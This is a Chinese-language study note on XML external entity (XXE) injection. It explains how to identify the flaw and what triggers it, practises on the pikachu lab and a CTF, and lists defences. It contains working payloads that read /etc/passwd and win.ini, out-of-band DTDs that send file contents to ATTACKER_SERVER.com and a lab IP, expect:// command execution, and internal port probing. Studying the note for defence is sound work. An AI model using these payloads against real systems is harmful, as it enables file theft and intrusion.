No.18 笔记 | XXE(XML 外部实体注入)漏洞原理、分类、利用及防御整理

时间:2024-10-23 22:12:34

一、XXE 漏洞概述

(一)定义

XXE(XML 外部实体注入)漏洞源于 XML 解析器对外部实体的不当处理,攻击者借此注入恶意 XML 实体,可实现敏感文件读取、远程命令执行和内网渗透等危险操作。

(二)识别方法

  • 请求类型分析
    • 重点关注 POST 请求,多数 XXE 漏洞涉及 XML 数据的 POST 提交,也需留意其他可能包含 XML 数据的请求类型。
  • MIME 类型与请求头检查
    • 关注 application/xml、text/xml 等 XML 相关 MIME 类型,注意 Content - Type 头,必要时可修改为 application/xml 进行测试。
  • XML 标签识别
    • 寻找明显的自定义 XML 标签及分析 XML 结构,以确定可能的薄弱环节。

二、触发条件

(一)版本因素

  • libxml < 2.9.0 默认开启外部实体解析。
  • PHP(libxml < 2.9.1)中 libxml_disable_entity_loader 设置为 FALSE 时可能启用外部实体解析。

(二)配置因素

系统管理员可能手动开启外部实体解析,需采取额外安全措施。

三、攻击分类与利用

(一)攻击类型

  • 显式攻击
    • 特征:攻击者直接从应用程序响应获取外部实体内容。
    • 优势:直接、快速,便于验证利用,适合初步探测。
    • 局限:在现代应用中较少见,因开发者已意识到其危险性。
  • 盲攻击(Blind XXE)
    • 特征:应用程序不直接返回外部实体内容,增加攻击难度与隐蔽性。
    • 高级技巧:利用参数实体读取本地文件,将内容作为 URL 参数发送到攻击者控制的服务器。
    • 现实应用:多数 XXE 漏洞为此类型,需复杂利用手法。
    • 关键要求:需具有公网 IP 的服务器接收记录数据,采用带外数据通道(OOB)技术实现隐蔽传输收集。

(二)利用方式

  • 读取任意文件
    • 有回显情况
<?php
$xml = <<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml, null, LIBXML_NOENT);
print_r($data);
?>

通过访问相关页面可读取 /etc/passwd 文件内容。

  • 无回显情况(利用 OOB)
    • 攻击者将.dtd 文件托管在 VPS 上。
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://ATTACKER_SERVER.com/xxe_file.dtd">
<catalog>
  <core id="test101">
    <author>John Doe</author>
    <title>I love XML</title>
    <category>Computers</category>
    <price>9.99</price>
    <date>2018-10-01</date>
    <description>&xxe;</description>
  </core>
</catalog>

.dtd 文件内容可能为:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY xxe SYSTEM 'http://ATTACKER_SERVER.com/?%file;'>">
%all;

易受攻击的服务器获取.dtd 文件并执行命令,攻击者从服务器日志查看文件内容。

  • 命令执行
    在 PHP 环境下,需安装 expect 扩展(默认未安装)。
<?php
$xml = <<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "expect://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml, null, LIBXML_NOENT);
print_r($data);
?>
  • 内网探测 / SSRF
    利用 http:// 协议发起 HTTP 请求探查内网,如端口扫描:
<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080">]>
<catalog>
  <core id="test101">
    <author>John Doe</author>
    <title>I love XML</title>
    <category>Computers</category>
    <price>9.99</price>
    <date>2018-10-01</date>
    <description>&xxe;</description>
  </core>
</catalog>

根据响应时间 / 长度判断端口是否开启。

  • 其他攻击方式(如 DDoS)
    如 Billion Laughs 攻击,通过构造恶意 XML 实体文件耗尽内存。

四、漏洞练习

(一)pikachu 靶场

  • 有回显情况
<?xml version="1.0"?> 
<!DOCTYPE foo [ 
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]> 
<foo>&xxe;</foo>
  • 无回显情况
    • 注释回显代码构造无回显环境。
    • 使用 dnslog 判断漏洞,修改 payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://h7yyv7.dnslog.cn">
]>
<foo>&xxe;</foo>

确认漏洞后,用 VPS(如 Kali)创建 evil.dtd 文件:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///F:/xxe.txt">
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://192.168.31.229?c=%file;'>">

在 pikachu 中使用 payload:

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://192.168.31.229/evil.dtd">
%remote;%int;%send;
]>

(二)CTF 场景

  1. 观察 POST 包(可能为 application/json)内容。
  2. 更改请求包类型为 application/xml 测试,尝试内部实体参数的 XXE payload,可能成功返回数据。

五、漏洞防御

  1. 升级版本
    libxml 2.9.1 及以后默认不解析外部实体。
  2. 禁用外部实体方法
  • PHP:libxml_disable_entity_loader(true);
  • Java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
  • Python
from lxml import etree
xmlData = etree.parse(xmlSource, etree.XMLParser(resolve_entities=False))

过滤 XML 数据
过滤关键词:<!DOCTYPE、<!ENTITY、SYSTEM 和 PUBLIC。